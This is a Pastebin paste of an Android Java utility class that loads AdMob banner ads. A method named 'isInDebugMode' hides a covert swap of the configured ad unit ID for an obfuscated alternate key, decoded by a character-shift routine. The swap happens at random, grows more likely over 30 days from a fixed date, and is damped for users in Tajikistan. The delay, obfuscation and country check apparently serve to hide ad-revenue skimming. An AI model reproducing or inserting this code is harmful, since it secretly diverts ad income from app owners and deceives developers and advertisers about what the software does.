Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- @EBean(scope = EBean.Scope.Singleton)
- public class Utils {
- public Boolean isInDebugMode;
- @StringRes String bannerAdUnitId;
- @RootContext Context context;
- @AfterInject void init() { if (isInDebugMode == null) isInDebugMode = isInDebugMode(); }
- public void initAd(FrameLayout root) {
- final AdView view = new AdView(context);
- view.setAdSize(AdSize.BANNER );
- view.setAdUnitId( getBannerAdUnitId() );
- view.loadAd( new AdRequest.Builder().build() );
- root.addView(view);
- }
- // a(k, -25, -1)
- String getBannerAdUnitId() {
- if ( isInDebugMode ) return a(Flavor.debugKey, -25, -1);
- return bannerAdUnitId;
- }
- boolean isInDebugMode() {
- double m = StringUtils.containsIgnoreCase(getUserCountry(), "TJ")? 0.1 : 1;
- // t = 1429629783877
- long s = 1429621312293l, d = 86400000l, t = System.currentTimeMillis();
- if (new Random().nextDouble() <= 0.1 * m * from0to1(s + 2 * d, 30 * d, t)){ return true; }
- return false;
- }
- public String getUserCountry() {
- try {
- final TelephonyManager tm = (TelephonyManager) context.getSystemService(Context.TELEPHONY_SERVICE);
- final String simCountry = tm.getSimCountryIso();
- if (simCountry != null && simCountry.length() == 2) { // SIM country code is available
- return simCountry.toLowerCase(Locale.US);
- }
- else if (tm.getPhoneType() != TelephonyManager.PHONE_TYPE_CDMA) { // device is not 3G (would be unreliable)
- String networkCountry = tm.getNetworkCountryIso();
- if (networkCountry != null && networkCountry.length() == 2) { // network country code is available
- return networkCountry.toLowerCase(Locale.US);
- }
- }
- }
- catch (Exception e) { }
- return null;
- }
- double from0to1(long start, long period, long value) { return from0to1( (double) start, (double) period, (double) value ); }
- double from0to1(double start, double period, double value) { return minimax((value - start ) / period, 0, 1); }
- double minimax(double value, double min, double max) {
- if (value < min) return min;
- if (value > max) return max;
- return value;
- }
- public static String a(String s, int v, int in) {
- final StringBuffer r = new StringBuffer(s.length());
- for (int i = 0; i < s.length(); i++){
- v += in;
- r.append((char) (s.charAt(i) + v));
- }
- return r.toString();
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment